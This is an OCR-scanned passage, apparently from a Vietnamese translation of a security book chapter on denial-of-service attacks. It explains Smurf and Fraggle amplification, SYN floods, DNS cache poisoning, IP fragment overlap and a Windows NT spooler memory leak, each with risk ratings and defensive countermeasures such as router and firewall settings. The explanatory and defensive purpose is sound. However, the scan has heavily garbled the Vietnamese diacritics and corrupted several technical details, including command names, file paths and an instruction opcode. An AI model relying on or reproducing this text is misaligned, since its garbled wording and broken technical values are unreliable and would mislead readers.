dé mé rong vu tan céng DoS, mdt ngudi nao do c¢6 dai thifing han ché c6 thé dé
dang tap trung ton IOOMbpS da1 thong. Pé c6 duoc ngon nghe nay thi ke tin
cdng can phai thuyét phuc duoc cic hé thﬂng mé& rong nhim gl dudng giao
thong to1 mang cua nan nhan. St dung cac k¥ thuat mé rong khong phai Iuc
nao ciing kho, nhu ta sé& thay & phan sau trong chuong nay.

Nhur d4 théo ludn xuyén sudt cudn sach nay, chung ta d& néi di noi lai
ring duong giao thong ICMP la rat nguy hiém. Trong khi ICMP phuc vu cho
muc dich chuan doan co 1ch thi ICMP rat dé bi lam dung va thuong dugc dung

“lam dan” cho cac vu tin cong tieu thu dai thong. Ngoai ra, nhiing vu tin cong
tieu thu dai thong b1 lam cho toi té hon vi hau hét nhiing ké tan cong s& gia
mao dia chi ngudon cua minh lam cho viéc xac dinh ke xam nhap thuc su tro
nén vo cung kho khan.



Doi Ngunn luc

M>bt vu tan coéng doi nguﬂn luc khac véi vu tan cong tiéu thu dai thong o chod
no tap trung vao hé thmng tiéu thu chu khﬂng phai vao cac ngu-:::rn luc mang.
Nhin chung thi viéc nay lién quan dén cac ngudn luc hé thong tiéu thu nhu
viec tan dung CPU, b0 nho, cac han ngach he thong tép tin hay nhiing quy
trinh hé thong khac. Tuy nhién nhitng ke tan cong lam dung viéc truy nhap
nay nham tiéu thu nhitng ngudn luc bd sung. Do vay ma hé thong hay nhitng
nguol st dung hop phap bi thiéu phan ngucrn luc cua minh. Nhiing vu tan
cong do1 nguon luc nhin chung gay ra mot nguon luc khong thé sit dung duoc
do he thﬂng bi db v&, hé thﬂng tep tin tré nén day hay cac quy trinh b1 treo.

Nhitng nhuoc diém ve Lap trinh

Nhitng nhuoc diém vé lap trinh la viéc mot ung dung, he diéu hanh, hay con
chip chinh nhung khong xu ly dwoc cac diéu kién khac thuong. Nhitng diéu
kién khac thuong nay thong thm:mg gay ra khi mot ngum s dung gu1 di
nhimg dit liéu khong chi v té1 mot yéu to yéu. Nhiéu lan ké tan cong s€ gu di
nhitng go1 tin phi phuc tung RFC la to1 mot he théng muc tiéu nhim xéac dinh
xem liéu ngin xép mang sé xit Iy dwoc ngoai 1& nay hay két cuc sé& chi bi 1am
vao tinh trang khing hodng nhin va su pha huy toan bd hé thong. Dbi vi
nhiimg tmg dung cu thé dua vao dao vao ngudi sit dung thi ké tan cong cé thé
gtri di nhitng chudi dit liéu 16n dai hang ngan dong. Néu chwong trinh st dung
mdt bd nhé trung gian ¢ dd dai ¢6 dinh chang han 1a 128 byte thi ké tin cong
c6 thé tao ra mot diéu kién tran b0 nho trung gian va pha huy ung dung. T¢
hon 1a ké tin cong cé thé tién hanh nhitng lénh duoc dac quyen nhu da duoc
ban dén & Chuong 5 va 7. Nhing vi du ve cac nhuoc dlem ve lap trinh cling
pho bién & céac con chip chinh nhung. Vu tan cong tai tiéng Pentium fOOf DoS
da cho phep mot quy trinh ché do ngu*m su dung pha huy bat ky mot he diéu
hanh nao bang cach thuc hién hlmng dan khong hop le 0xt00fc7c8.

Nhu phan lon chung ta déu c6 thé nhan ra thi chang mot chuong trinh,
hé diéu hanh hay tham chi mot CPU nao la1 khong co con bo. Nhitng ké tan
cdng cling biét su that hién nhién nay va sé& loi dung triét dé viéc pha huy
nhimg Umg dung quan trong va nhitng hé thong nhay cam. That khong may
nhitng vu tdn cOng nay thuong xay ra tai nhiing thoi diém khéng dung luc
nhat.

Nhirng vu tan cong Lap tuyén va DNS

Mot vu tan cdng DoS trén co sé& lap tuyen lién quan dén nhitng ké tin cong
van dung cac muc nhap bang lap tuyen nhim phu nhin dich vu truoc cac he
théng hay mang hop phap. Hau hét cac giao thue lap tuyén nhu Giao thurc
Thong tin Lap tuyen (RIP) vl va Giao thuc Cong Bién (BGP) v4 khong c6
hoac co nhiing thong tin nhan dang rat yéu. Nhitng thong tin nhan dang it o1
ma chung co hiém khi duoc st dung khi duoc thuc thi. Piéu nay cho thay mot



kich ban hoan chinh ma trong dé ké tan cong thay d6i cac tuyén hop phéap
thuong biang cach gia mao dia chi IP ngudn ctia minh dé tao ra mot diéu kién
DoS. Nan nhan cua nhiing vu tan cong nay c6 thé cé duong g1ao thong duogc
lap tuyen théng qua mang cta ké tan cong hay vao mét 16 den, mot mang
khong ton tai.

Nhing vu tan céng DoS trén cac server tén mién (DNSes) cling gay
nhleu phién phirc nhu cic cudc tan cdng trén co s& lap tuyén. Hau hét cac vu
tan cdng DoS DNS lién quan dén viéc thuyét phuc server cia nan nhan gidu
kin nhiimg thong tin vé dia chi khong that. Khi mot server DNS tién hanh mot
tra cuu thi ke tan cong o thé d6i huong no sang chd khac theo v thich cta ké
tan cong, hoac & mot s6 truong hop doi huong vao mot 16 den. D3 c6 mot vai
vu tan céng DoS lién quan dén DNS d3 khién cho nhiéu chd 16n khéng thé
truy nhap duoc trong mot thoi gian dar.

Deé hiéu r6 hon vé viéc lam hu hong cac DNS hay xem Hinh 12-1.
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Figure 12-1. DNScache polsoning

NHUNG VU TAN CONG DOS CUNG LOAI

Mot s6 vu tan céng DoS c6 kha ning anh huéng dén nhiéu loai hinh hé thong
khac nhau — chung ta go1 la cung logi. Nhin chung thi nhiing vu tan cong nhu
thé - nay duoc chia lam hai loa1: tiéu thu dai thong va do1 nguén luc. Mot yéu to
phd bién d61 v6i nhitng loai hinh tin cong nay dé la khai thac giao thirc. Néu



mot giao thirc nhu ICMP bi khai thac vi nhitng muc dich bat chinh thi né ¢é
kha ning dong thoi tac dong dén nhiéu hé théng. Vi du, ké tan cong cé thé st
dung bom thu dién tir dé gt hang nghin théng diép thu dién tir t&i he thong
ctia nan nhan nhim c6 tiéu thu dai théng cling nhu rat hét cac ngudn luc hé
thong trén server thw. Vi rut Melissa thuc ra 1a mot con sidu d3 khéng duoc
thiét ké dé lam mét vu tan cong DoS nhung chic chin né di nhian manh cach
thitc mét 1an séng tiém tang cac thong diép dién tix c6 thé khién cho cac server
thu b1 ngung hoat dong. That la mot thanh cong kho tin trong viéc tu tai tao
minh ¢ nhiing khm luong kh{mg 16 nhur vay ma nhitng server thu chi can tit di
do thiéu cac ngumn luc.

Trong khi chung ta khong thé néu 1én timg diéu kién DoS co thé hiéu
duoc thi phan con lai trong chuong nay sé dé cap dén nhitng vu tan cdng DoS
ma chung ta cam thay lién quan nhiéu dén da s6 cac méi truong méy tinh.

Smurf

Tinh pho bién: 9
Tinh don gian: 8

Tac done: 9

Panh gia do riii ro: 9

T4n céng Smurf 14 mot trong nhiing dang tan cong DoS dang so nhét do
nhitng hau qua mo rong cua vu tan cong. Hau qua mé rong la két qua cla viée
gtti di mot yéu cau duoc dinh huong vé truyén ping tSi mot mang cac he thi::-ng
s€ phan hoi trude nhitng yéu cau nhu vay. Mot yéu cau duoc dinh hudng vé
truven ping c¢6 thé duogc gui cho dia chi mang cling co thé dwoc gt cho dia chi
truyén mang va yéu cau mot dung cu hién dang thuc hién chuc nang truven
lcrp 3 (IP) to1 lop 2 (mang). (Xem RFC 1812, “Nhiing yéu ciu d6i véi cac Cau
dan IP Phién ban 4”. Néu chung ta gia su mang nay co chuin LD’p C hay phan
phat dia chi 24 blt thi dia chi mang sé€ la .0, trong khi1 dia chi truyen ge 1a.. 255,
Nhitng dot truven duoc dinh huong déu duoc st dung phﬂ bién cho cac muc
dich chuan doan dé xem nhiing gi hién con ma khéng phai ping timg dia chi
trong day.

Mot vu tan cong Smurf loi dung nhitng dot phat dinh huéng va yéu cau
toi thiéu ba nhan to: ké tan cong, mang mé réng, va nan nhan. Mdt ké tan
cong gui di cac go1 tin ICMP ECHO bi gia mao to1 dia chi truyén clia mang
m& rong. Dia chi ngudn clia cac gdi tin bi gla mao nham lam cho no trong co
vé nhu 1a hé théng cla nan nhan d3 khéi dau yéu cau Sau do vu pha hoai bat
dau. Vi géi tin ECHO di duwoc gt t&i dia chi truyén nén tit ca cac hé thong
trén mang mé rong s& phan hoi trude nan nhan (trr phi bi dinh cau hinh thay
vao d6). Néu mot ké tan cong gu1 mot go1 tin ICMP don le to1 mot mang mo
rong c¢6 100 hé thong s& phan hoi truoc mot ping truyen thi ké tin cong da
nhan lén moét cach co hiéu qua vu tan cong DoS bang mot cuong la 100.



Chung ta goi ti 1& cac gdi tin duoc gt di t&i nhitng hé thong phan hoi trudce #
lé mo rong. Do vay ke tan cong co thé tim duoc mot mang mao rong bﬁng mot
ti 16 mo rong cao déu cé co hdi Ién hon trong viéc bao hoa mang cua nan
nhan.

DPé dung nén buc tranh vé loai hinh tan cong nay, hiy xem mét vi du.
Gia su ke tan cong gii 14K dudng giao thong ICMP duoc duy tri to1 dia chi
t:ruyen cua mot mang mo réong co 100 hé thnng ‘Mang cua ke tan cong duoc
két nbi véi mang Internet thong qua mot két n6i ISDN hai kénh; mang mé
rong duoc ket no1 thong qua mot lién két T3 45 -Mbps va mang cua nan nhan
duoc ket ndi thong qua mot lién ket T1 1.544-Mbps. Néu ban ngoai suy nhitng
con s6 d6 ban sé& thay rang ké tin cong c6 thé tao ra 14 Mbps dudng giao
thong dé gu1 to1 mang cua nan nhan. Mang cua nan nhan it co co hoi thoat
kho1 vu tin céng nay bdi vu tin cong nay s& nhanh chéng tiéu thu moi dai
thong san co cia lién két T1 cua minh.

Mot bién the cua vu tin coOng nay duf:::rc gol1 la tin cong Fraggle. Mot vu
tan cong Fraggle vé co ban la mét vu tin t::ﬂng Smurf co st dung UDP thay
cho ICMP. Ke tan cong co thé gt di cac go1 tin UDP gia mao to1 dia chi
truyén cia mang md rong dién hinh 1a céng 7 (echo). Tung hé thong trén
mang c6 echo cé hiéu luc s& phan hoi tré lai host ctia nan nhén tao ra nhiing
luwong giao thong lon. Néu echo khoéng duoc hiéu luc hda trén mot hé thong
ndm trén mang mo rong thi no s€ tao ra mot thong diép khong thé té1 duoc
ICMP ma van tiéu thu dai thong.

Cac bien phap doi pho Smurf

Pé phong tranh viéc bi sit dung lam mot chn mo rong thi chuc nang truyén
duoc dinh huong nén duoc vo hieu hoa tai cau dan bién ctia ban. Dbi véi céc
cau din Cisco ban co thé st dung leénh nhu sau:

no 1p directed-broadcast

L énh nay s€ vo hiéu hoa nhitng dot tm}fén duoc dinh huong. Nhu & Cisco I0OS
phién ban 12 thi chirc ndng nay duwoc hiéu luc hoa theo mac dinh. DPo6i voi
nhitng dung cu khac hiy tham khao tai liéu cho nguoi st dung nhim vo hiéu
hoé nhimg dot truyeén duoc dinh hudng.

Thém nita la nhiing hé dicu hanh cu thé c6 thé duoc dinh cau hinh dé
am tham vt bé di nhitng géi tin truyén ICMP ECHO.

Solaris 2.6, 2.5.1,25,24va 2.3 pPé phong tranh cac hé thémg Solaris

khong phan hdi trudc nhitng yéu cau ECHO truyén hiy bd sung dong sau day
vao /etc/rc2.d/S6%1net:

ndd -et /dev/ip 1p_respond to echo broadcast 0



LmuxBe phong tranh cho cac hé théng Linux khéi viéc phan hoi trude nhitng
yéu cau truyén ECHO ban c6 thé ap dung birc tuong ltra & cap d6 kernel thong
qua 1pfw. Hay dam bao la ban da thu thap dwoc viéc ap dung buc tuong Itra
vao kernel cua ban va thuc thi nhitng lénh sau:

ipfwadm -I -a deny -P 1cmp -D 10.10.10.0 -S 0/0 0 8
ipfwadm -I -a deny -P 1cmp -D 10.10.10.255-S 0/0 0 8

Dam bao thay thé 10.10.10.0 bﬁng dia chi mang cua ban va 10.10.10.255 bfing
dia chi truyén mang cua ban.

FreeBSD FreeBSD phien ban 2.2.5 va sau do vo hieu hoa cac dot trqyén
duoc dinh huong theo mac dinh. Churc ndng nay co thé duoc bat 1én hay tat di
bang cach b6 sung thong so sysctl net.inet.icmp.bmecastecho.

AIX Theo mic dinh AIX 4.x vo hiéu hoa cac phan ha:Ji to1 cac dia chi truyén
Kiéu khong 1énh cé thé duoc st dung nhim bat hay tit chuc nang nay bang
cach dit thudc tinh beastping. Kiéu khéng 1énh duoc st dung dé cau hinh céc
thude tinh mang trong mét kernel dang chay. Nhitng thudc tinh nay phai duoc
lap nén mdi lan hé thong duoc khéi dong lai.

Tat ca Cac bién thé UNIX Nhim phong tranh cho cac host khong phan
hoéi trudéc vu tin cong Fraggle hiy v6 hiéu hdéa echo va chargen &
/etc/inetd/conf bing cach dit mot dau “#” trude dich vu.

Nhiing site Bi Tan cong
Trong khi1 viec hiéu cach phﬂng tranh khﬂng cho chd cua ban bi st dung nhu’
la mot bo phan ma& rong thi viéc hiéu can phai lam nhufng gl site ctia ban bi tan
cong con quan trong hon nhiéu. Nhu di duoc dé cap dén & nhitng Ghll‘ﬂ'ﬂg
treéc ban nén han ché ICMP duong vao va duong giao thong UDP tai cac cau
dan bién cuia ban chi trong pham vi nhiing hé thmng can thiét trén mang cua
ban va chi tmng pham vi nhiing loai hinh ICMP riéng biét. Di nhién la diéu
nay khong can tré cac cudc tan cong Smurf va Fraggle tiéu thu dai thong cua
ban. Hiy lam viéc vdi ISP clia ban nhim han ché cang nhiéu duong giao
thong ICMP cang t6t va cang nguoc dong cang tot. Dé ting cudng nhitng bién
phap d6i phdé nay mot s6 to chitrc da hieu luc hoa chuc ning Commutted
Access Rate (CAR) duoc cung cap bdi Cisco IOS 1.1CC, 11.1CE, va 12.0.
Piéu nay cho phep duong giao thong ICMP duogc han ché trong pham vi mot
con s6 hop ly nhu 256K hay 512K.

Néu site ctia ban bi tan cdng thi trude hét ban nén lién lac vor trung tam
diéu hanh mang (NOC) cua ISP cua ban. Ludn ghi nho la rat khé cé thé lan



theo dau vét cudc tin cong téi ké xAm nhap nhung diéu dé van cé thé. Ban
hodc ISP cua ban s€ phai lam viec chat ché voi site mo rong nhiing goi1 tin co
ngudn goc hop phap tir site mé rong. Site mé rong dang nhan nhitng gdi tin bi
g1a mao ma co ve nhu xuat phat tir mang cua ban.

Bing cach xem xét mot cach cé hé théng ting cau dﬁn bat dﬁu bing site
mé rong va dong nguoc hoat dong, thi viec lan theo dau vét cudc tan cong trd
lai mang tan cong la diéu c6 thé. Piéu nay c6 thé dwoc thuc hién thanh cong
bang cach xac dinh giao dién ma go1 tin b1 gia mao duoc nhan tai va theo dau
vét nguoc tro lai Pé giup tur dong hoa quy trinh nay do1 ngli an ninh ¢ MCI da
phat trién mot tap lenh Perl co tén la dosattacker co the dang nhap vao mot cau
dan Cisco va bit dau lan theo dau vét cia mot vu tan cong lan tré lai nguc:nn
cla n6. That khéng may 1a chuong trinh nay lai ¢6 thé c6 gia tri rat han ché
néu ban khoéng s& hitu hay khéng cé quyeén truy nhip vao tat ca nhitng cau dan
co lién quan.

Chung to1 ciling dé xuat viéc xem lai RFC 2267. "Loc Qu}fén Vao
Mang: Panh bai1 Cac cudc tan cong Phu nhan Dich vu co St dung Phuong
thirc gid mao Pia chi Ngudn IP," viét bsi Paul Ferguson cta Cisco Systems va
Daniel Senie cua Blazenet, Inc.

Lua SYN

Tinh phé bién: 7
Tinh don gian: 8
Tac dong: 9

Panh gia do rui ro: 8

Cho dén khi tan cc:ng Smurf tré nén phd bién thi mot vu tan coéng li
SYN truoc do da la kieu tan cong co suc tan pha ning né nhat luc do. Tan
cong PANIX duoc deé cap dén & diu chuong nay la vi du chinh vé nhitng kha
ning tan pha cua moét con Id SYN hiéu qua. Hay cung giai thich chinh xac
xem nhiing gi xay ra khi mét dot tan cong 1 SYN duoc tién hanh.

Nhu d ban tir trude, khi mot két noi TCP dwoc khéi dau thi d6 ludn 1a
moét quy trinh ba chiéu, duoc minh hoa & Hinh 12-2.

®) nhu*ng hoan canh thong thuong thi mot go1 tin SYN duge gui tu mot
cong cu thé trén hé thong A t&i mot cong cu thé dang 0 trong trang tha1t NGHE
(LISTENING) trén hé thong B. O diém nay thi két noi tiém ning nay trén hé
thong B la mét trang thai SYN RECV. O giai doan nay thi he thong B s& ¢b
gu1 la1 mot gor tin SYN/ACK to1 heé th-::mg A. Néu moi viéc sudn sé thi hé
théng A sé gu1 la1 mot go1 tin ACK va két ndi s& chuyén sang mot trang thai
DUCC THIET LAP (ESTABLISHED).

Trong khi co ché nay hau nhu luén hoat dong tot thi ké tan c{:mg c6 thé
loi dung mot s6 yéu diem c6 hitu trong hé thong nay dé tao ra mot dieu kién



DGS Van dé & chd hau hét cac he thc::ung phan bd mot sb loong xac dinh cac
ngumn luc khi 14p nén mot két ndi tiém nang hay mot két noi chua duoc thiét
lap day dd. Trong khi hau het cac hé théng c6 thé duy tri duoc hang tram cac
két noi dong tho to1 mot cmng cu thé (vi du nhur 80) thi co the chi mat khoang
mot ta cac yéu cau két noi tiém ning dé lam yéu di cac ngudn luc duoc phin
bo dé 1ap nén két ndi d6. Piéu nay chinh xac 1a co ché ma keé tan cong SYN sé&
ding dén dé v hiéu hoa mét hé théng.

Khi mdt vu tin cong 1 SYN duoc khoi dau thi ké tan cong sé€ gui di
mot go1 tin SYN tur he thmng A dén hé thﬂng B. Tuy nhien ke tan mng s€ g1a
mao dia chi nguﬂn cua mot he th::}ng kh-::-ng ton tai. Hé thﬂng B ltc nay sé€ co
otr1 mot goi tin SYN/ACK t6i dia chi bi gid mao. NEu hé tthg b1 g1a mao co
ton tai thi thong thuong noé sé phan hoi lai véi mét géi tin RST té1 hé thong B
vi nd d3 khong khéi dau qua trinh két noi. Tuy nhién phai nhd 1a ké tan céng
chon mot hé thong ma khong thé tiép cin téi duoc. Do vay hé thong B sé& gt
mot go1 tin SYN/ACK va khong bao gio nhan mot go1 tin RST tro lai tur he
thr::ng A. Két ndi tiem ndng nay hién dang ¢ trang thai SYN RECV va duoc
xep thanh mot day cho két no1. Hé thong nay hién co nhieém vu lap mot két noi
va két ndi tiém nang nay s€ chi duoc xép bing tir ddy cho sau khi bo phan
dinh gio thiét 1ap két ndi het han. B6 phéin dinh gid két ni thay d6i theo hé
théng nhung c6 thé chi mat 75 giay hodc to1 23 phut d61 véi mot s6 thue thi IP
bi pha v&. Do diy cho két nbi théng thudng rat nhd nén ké tan cong cé thé chi
phai gu1 mot vai go1 tin SYN cu 10 giay mot dé vd hidu héa hoan toan mét
cong cu thé. Hé thong nay bi tan cong s€ khong bao gio co thé x6a duoc diy
cho un dﬂng trude khi nhan nhitng yéu cau SYN méi.

Ban cd thé d3 ngd ngd ra nguyén nhan tai sao vu tan cdng nay lai cé strc
tan phé 1én nhu vay. Trude hét né doi hdi hau nhu 1a rat it dai thong dé khéi
dau mot trén 18 SYN thanh cong. Ké tan cong c6 the lay clia mot web server
co suc manh cong nghiép khong nhiéu hon mot lien két modem 14 4-Kbps.
Thir hai, 6 1a m6t vu tin cong sau lung béi ké tan céng gia mao dia chi ngudn
cua go1 tn SYN do vay ma lam cho viec xac dinh duoc ke xam nhap la vo
cung kho. Mia mai thay vu tan cdng nay lai d3 dwoc ndi dén nh1eu trong nhiéu
nim bdi nhiéu chuyén gia an ninh va la phuong tién trong tién hanh khai thac

m6i quan hé duwoc dy thac. (Xem  http/  www.phrack.
org/show.php?p=48&a=14.)

Nhitng bién phap doi phé véi Lia SYN

Pé xéc dinh dugc lieu ban co bi tin cong hay khong ban cé thé phat leénh
netstat néu né duoc hd tro béi hé diéu hanh cta ban. Néu ban tha‘,,r nhiéu ket
noi trong mot trang thair SYN RRECVthi no co thé cho biét 1a mot vu tAn
cong SYN dang duoc tién hanh.



TCP’s three-way handshake

1) SYN sent from client

2) SYN /ACK sent from server

&

3) ACK sent from chent -

Client

Figure 12-2.  SYN connection

Tiép dén 1a bon cach co ban dé tlEP cin nhitng cudc tan cong 1d SYN.
Trong khi tung bien phap co nhitng wu dieém va nhuoc diém rieng thi chung co
thé duoc st dung nhim gidm di nhitng hau qua cua mot vu tan cong SYN tap
trung. Hay ghi nho kho khan trong lan theo dau vét cudc tan cong trd lai ké
xam nhap vi nguﬂn go1 tin da b1 gia mao. Tuy nhién dostracker cua MCI co
thé tro gitip trong nhiém vu nay (néu ban cé quyeén truy nhip vao timg cau din
hop trong duong dan).

Ting Kich c& Diy cho Ket noi Trong khi mdi ngin xép IP ctia nha
cung cap hoi khac nhau mot chut thi viée diéu chinh kich ¢& cua diy cho két
noi nhim gitp cai thién nhiing tac dong cua mot vu tin cong 1t SYN la diéu
hoan toan cé thé. Piéu nay la httu ich song khong phai la bién phap to1 wu
nhét, vi né s dung cac ngudn luc hé thong bd sung va cé thé anh hudéng dén
hoat dong.

Giam Khoang thai gian chét Khi Thiet lap Kétnoi  Viéc giam khoang
thotr gian cheét khi thiét lap ket no1 cling co thé giup giam nhitng tac dong cua
mot vu tan cong SYN mac du nd van chua phai la bién phap tor vu.

Su dung nhirng vét noi tam phan mém l”:llﬂ nha cung cap nham Do N hirng
vu tin céng SYN tiém ning Vé phan viét nay thi hau hét cac hé diéu hanh
hién dai da hieu luc hoa cac co ché do va phong tranh Id SYN. Hay xem
CERT phan tu van CA-96:21, "Nhitng vu tan cong Gia mao IP va Gay la TCP
SYN," va tim danh s4ch cac nhiing cach giai quyét va sira chita tam ctia hé
dieu hanh.

Do nhitng vu tan cong SYN di tré nén lan luét trén toan Mang nén
nhitng bién phap khac cling dd duoc phat trien nham do1 pho vo1 dieu kien
DoS nay. Vi du nhu nhitng kerrnel Linux hién dai 2.0.30 va sau do6 la nho dén



mot tiy chon cé tén SYN cookie. Néu nhu tuy chon nay dwoc hiéu luc hoa thi
kernel s& do va ghi lai nhitg vu tan cong SYN c6 thé xay ra. Sau d6 né sé st
dung mot giao thire thach thirc mat ma co tén la SYN cookie nhiam hiéu luc
héa nhitng nguoi sit dung hop phap dé tiép tuc két noi thim chi dudi nhiéu
cudc tan cdng ning né nita.

Nhitng hé diéu hanh khac nhu Windows NT 4.0 SP2 va sau d6 1a nho
dén modt co ché ghi nguoc dong. (Xem Microsoft Knowledge Base article
Q142641.) Khi day cho két nbi xuﬂng duo1 ngudng da dinh cau hinh tir truoce
thi he thﬂng s€ tu dong phan bd céc ngu{:m lwc bd sung. Do vay ma day cho
két noi khong bao g10 b1 mét ca.

Ap dung IDS Mang Mot s6 san pham IDS mang co thé do va tich cuc
phan héi lai trude nhitng vu tan céng SYN. Mbt vu tan cong SYN c6 thé bi do
bing mot tran 1 cac go1 tin SYN ma khong co nhiing phan hoi di kem. Mot
IDS c6 thé gui cac go1 tin RST to1 he the::rng bi tan cong twong ung vo1 yéu cau
SYN ban dau. Hanh dong nay co thé hd tro cho hé théng bi tin cdng trong
viéc giai thoat diy cho két noi.

Nhitng vu tan cong DNS
Tinh pho bién: 6
T'inh don gian: 4
Tac dong: 9

Panh gia do rii ro: 6

Vao nam 1997, do1 an ninh cua Tap doan Secure Networks (SNI) bay
g10 la tap doan Network Associates (NAI) da cho ra mot chwong trinh tu van
veé mot val yeu diém duoc phét hién trong nhitng thuc thi BIND (NAI-0011 —
Nhu*ng yéu diém BIND va Giai phap). Céc phién ban BIND trudc 4.9.5+P1 sé
giau kin nhitng thong tin khong that khi chirc nang deé quy DNS duoc hieu luc
hoa. Deé quy cho phép mot nameserver xt 1y nhitng yéu cau vé nhiimg vung va
mién ma né khong phuc vu. Khi mot nameserver nhan duoc mét truy van veé
mot vung hodc mién khong duoc phuc vu bo1 nameserver thi nameserver sé
truyén mét truy van téi nameserver cé tham quyen dé c6 mién cu thé. Mot khi
tra 101 duoc nhan tir nameserver cé thim quyén thi nameserver dau tién sé& gii
tré 101 tré lai bén yéu cau.

That khong may la khi dé quy duoc hieu luc hoa trén nhiing phién ban
BIND yéu thi mot ké tin cong co thé lam hong cac cua nameserver co nhiem
vu tién hanh tra ciru dé quy. Piéu nay duoc biét dén nhw la gid mao hé so PTR
va khai thac quy trinh vach duwong di cho cac dia chi IP to1 cac hostname.
Trong khi c6 nhiing dau hiéu an ninh nghiém trong lién quan dén viéc khai
thac nhitng moi quan hé uy thac phu thudc vao nhiing tra ciru hostname thi



r.:ung m:: tiém nang tién hanh mét vu tan cong DDS DNS. Vi du ké tan cong co
thé co thuyet phuc mot nameserver muc tiéu glau kin nhiing thong tin I'I'ID ta
duong di tv www.abcompany.com to1 0.0.0.10, moét dia chi IP khong tdn tai.
Khi nhitng nguoi st dung nameserver yéu mudn téi trang
www.abc.company.com thi ho s& ching bao gid nhin dwoc ciu tra 101 tu
0.0.0.10 phu nhan co hiéu qua dich vu to1 www.abcompany.com.

Bién phap doi pho DNS

Pé giai quyét nhimg van dé duoc phat hién trong BIND hiy ning cap thanh
BIND phién ban 4.9.6 hoic 8.1.1 va nhitng phién ban vé sau. Trong khi nhiing
phién ban BIND nay dé cip dén nhitng nhuoc diém tham nhiing cac thi 1o
khuyén la h3y nang cap 1én dén phién ban BIND mdi nhat ma ciing ¢é nhiing
bién phap an ninh bo sung duoc thuc thi. Hiy xem http://
www.isc.org/bind html dé biét thém thong tin. D61 véi nhiing thong tin dip va

chi r& nha cung cap thi hidy tham khdo CERT tu van CA-97.22: BIND —
Daemon Tén Internet Berkeley.

UNIX VA WINDOWS NT DOS

UNIX di duoc st dung va tré nén phd bién trong vong 20 nim tré lai day.
UNIX duoc biét dén vi sttc manh, su tinh té cda nd, va kha ning tién hanh
nhiing nhiém vu ma déi khi 1a khong thé hiéu duoc. DI nhién la cung vor su tu
do va surc manh nay la nhitng kho khan tlE:II’l tang. Chi trong nhiéu nim qua
hang trim diéu kién DoS ngang qua v6 sb nhitng mui vi UNIX khac nhau da
duoc phat hien.

Tuong tu nhu UNIX, Windows NT d3 nhanh chéng pho bién trong tap
doan America. Nhiéu to chirc d3 danh cudc ca gia tai ctia minh cho Windows
NT dé hudng kinh doanh cta ho sang thién nién k¥ mdi. Trong khi nhiéu
ngudi theo chi nghia thuan tuy tranh cii hé diéu hanh nao manh hon thi
khong cé tranh cii nao cho thay Windows NT phuec tap va cung cap mot gia
san cac chuc nang. Tuong tw vor UNIX chuc ndng nay cung cap nhiing co hor
cho k& tan cong loi dung céc diéu kién DoS trong pham vi hé diéu hanh NT va
cac ung dung co lién quan.

Phan 16n nhitng cudc tan céng phd nhin dich vu ¢ thé duoc phan ra
lam cac diéu kién DoS tir xa va dia phm:fng Cé nhiéu diéu kién DoS dbi véi
mdi loai va chung t6i du dinh timg vi du cia minh sé& ching té Iy thuyét ding
sau vu tan cong chir khéng phai ton mot luong thoi gian qua mire cho céc
cudc tan cdng cu thé. Nhitng vu tan cong cu thé sé& thay doi theo thoi gian. Tuy
nhién néu ban hiéu Iy thuyét ding sau loai hinh tin cong thi ban cé thé dé



dang ap dung no vao nhiing loai hinh maé1 khi chung duoc phat hién ra. Hay
kham pha mot vai dieu kién DoS chinh trong tung loai .

Nhitng vu tan cong DoS T xa

Hién tai hau hét cic diéu kién DoS lién quan dén nhimg nhuoc diém veé lap
trinh co lien quan dén mot thuc thi ngan xép IP cua nha cung cap rieng biet.
Nhu ta da thay & Chuong 2 modi mdt nha cung cap déu thuc thi ngan xep IP
cua minh theo cach khac nhau-do la ly do ta1 sao viéc in dau van tay ngan KE[}
la1 thanh cong dén vay. Vi nhiing thuc thi IP la phirc tap va lién tuc tién hoa
nén c6 nhiéu co hoi nhitng nhuoc diém lap trinh lai xuat hién. Tién dé dang
sau hau hét nhitng cudc tAn cong nay la g1 di1 mot go1 tin cu thé hoic mot
chudi cac géi tin dén hé théng muc tiéu nhim khai thic nhitng nhuoc diém cu
thé vé 1ap trinh. Khi hé thong muc tiéu nhan nhitng goi tin nay thi cac két qua
s& di tir khong xit Iy dung cac gdi tin cho dén pha huy toan bd hé thong.

Chong lap Phan doan IP

Tinh pho bién: 7
T'inh don gian: 8
Tac dong: 9

Panh gia do rii ro: 8

Teardrop va nhitng cudc tan cdng co lién quan khai thac nhimg nhuoc
diém trong goi tin ma hoéa tap hop cac thuc thi ngan :{ep IP cu thé. Vi cac goi
tin di ngang qua nhitng mang khéac nhau nén c6 thé 1a can thiét khi pha v& go1
tin thanh nhltng manh nho hon (phan doan) dva trén don w1 truyén toi da cua
cac mang (MTU). Vu tan cong teardrop la rat cu thé trude nhitng kernel Linux
cii hon ma da khong xu ly dung cac phan doan IP chong chéo. Trong khi
Linux kernel d3 tién hanh klem tra su dung din vé do dai phan doan néu né d3
qua lon thi no da khong tién hanh bat ky moét xac nhan hop 1€ nao THIEU
Bién phap doi pho véi Chong lap Phan doan IP
Nhitng vu tin cong truoc da duoc hi€u chinh ¢ nhiimg kernel 2.0.x va 2.2.x
sau. Hay nang cap to1 cac kernel 2.0.x va 2.2.x mo1 nhat, nhitng kernel cé
nhiéu bién phap hiéu chinh bd sung vé an ninh ngoal viéc chi hiéu chinh cac
nhuoc diém phan doan IP.

P61 véi cac hé thong Windows NT thi nhitng nhuoc diém vé phan doan
IP d3 duoc ban dén & nhiing hotfix sau Service Pack 3. Nhiing nguoi sur dung
Windows NT duoc khuyén khich lap dit pack dich vu maon nhat vi né hiéu
chinh dwoc nhiéu nhuoc diem lién quan dén an ninh hon Nguotr sur dung
Windows 95 neén lip dit tit ca cac pack dich vu lién quan. Tat ca cic pack
dich vu déu c6 sin & ftp:/ftp. microsoft.com/bussys/winnt-public/fixes/usa/.



Nhitng ky hiéu 6ng dan dugc dit tén theo L6 ro Pay ong cuén Windows
NT qua RPC

Tinh pho bién: 4
Tinh don gian: 8
Tac dong: 7

Panh gia dé rii ro: 6

Windows NT c¢6 mot 16 rd bd nhé & trong spoolss.exe cho phép mot
nguol s dung khong duoc uy quyé:n két néi to1 Wserver\PIPE\SPOOLSS va
tiéu thu tat ca phan bo nho san ¢o cua he thc}ng muc tieu. Tinh trang nay con
nghiém trong hon do cudc tan cong kiéu nay co thé duoc khéi dau théng qua
mot phien gia tr1 null ngay ca neéu cac két nbi RestrictAnonymous co duoc
hiéu luc héa. Cudc tan cong nhu thé nay co thé mat chut tho1 gian dé c6 thé vo
hiéu hoa hoan toan hé thﬂng muc tiéu va ching to rang cac nguon luc co thé bi
